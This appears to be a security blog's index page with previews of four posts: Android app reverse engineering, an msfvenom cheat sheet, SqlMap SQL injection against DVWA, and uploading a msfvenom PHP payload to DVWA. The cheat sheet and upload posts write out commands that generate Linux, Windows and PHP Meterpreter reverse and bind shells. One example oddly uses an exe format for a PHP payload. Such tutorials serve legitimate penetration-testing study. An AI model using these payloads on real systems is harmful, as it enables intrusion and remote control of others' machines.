Posts

How To Reverse Engineer An Android Application

Image
Very first rule of the security is to never trust the security on the client-side in context of Android mobile app. The Client-side is not an environment we control and thus we should not rely on it by hard-coding or storing secrets that can disrupt our system. So the best way to secure your apps and do not getting caught by developers and hackers is to reverse engineer the application by yourself and fix the issues if possible.   Many Android developers fail to realize that the Android app they build can be easily reverse engineered. If you are one of them developers who think hard-coding secret keys or even storing it in gradle file will prevent it from going into the hands of hackers or other developers, you are wrong. So, let’s get started. For reverse engineering an application, we would need a few things beforehand — Java Decompiler Tool (I used JD-JUI in this article) to view the decompiled code. dex2jar utility  APK of the application. Basic understanding of the Andro...

msfvenom Cheat Sheet

Image
msfvenom is a Metasploit standalone payload generator.  Also a replacement for msfpayload and msfencode. List switches/options $ msfvenom --help   List all payloads/ modules  $ msfvenom -l or list <type> Here Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all Binaries Payloads: Linux Meterpreter Reverse Shell $ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f elf > shell.elf Linux Bind Meterpreter Shell $ msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > bind.elf Linux Bind Shell $ msfvenom -p generic/shell_bind_tcp RHOST=<Remote IP Address> LPORT=<Local Port> -f elf > term.elf Windows Meterpreter Reverse TCP Shell $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f exe > shell.exe Windows x64 Meterpreter Reverse TCP Shell $ msfvenom -p wi...

Automate SQL Injection Exploitation with SqlMap - DVWA

Automate SQL Injection Exploitation with SqlMap - Damn Vulnerable Web App ( DVWA) What is a SQL Injection? SQL injection is a technique often used to attack data driven applications. SQL injection is considered a high risk vulnerability due to the fact that can lead to full compromise of the web application. This is why in almost all web application penetration testing engagements, the applications are always checked for SQL injection flaws. A general and simple definition of when an application is vulnerable to SQL injection is when the application allows you to interact with the database and to execute queries on the database then it is vulnerable to SQL injection attacks. This is done by crafted parameter/statements passed as input (HTML form) in an attempt to get the website to pass a newly formed SQL command to the database (e.g., dump the database contents to the attacker). SQL injection is a code injection technique that exploits a vulnerability in an web application's code....

Exploiting a Web Server - Using msfvenom generated PHP Web Payload

Image
 Exploiting a Web Server - Using msfvenom generated PHP Web Payload  This exploit uses some of the file upload functions of the DVWA web site to demonstrate how to hack through the site itself. A hacker would use this type of vulnerability to gain access to web applications, servers, and data. We will start by creating a pre-prepared PHP code that we will upload to the web server through the upload functionality provide by DVWA.  For this exercise, I hosted DVWA application in XAMPP on my host operating system. I will generate PHP code using msfvenom on Kali Linux which is hosted/run on oracle VBOX. On the Kali Linux, run the following command to generate PHP Web Payload: $ msfvenom -p php/meterpreter/reverse_tcp LHOST=<Local IP>  LPORT=<Local Port>  -f raw > phpshell.php For example, $ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 -f exe > phpshell.exe Here, 192.168.0.2 is a IP Address of Kali Server It will generate fo...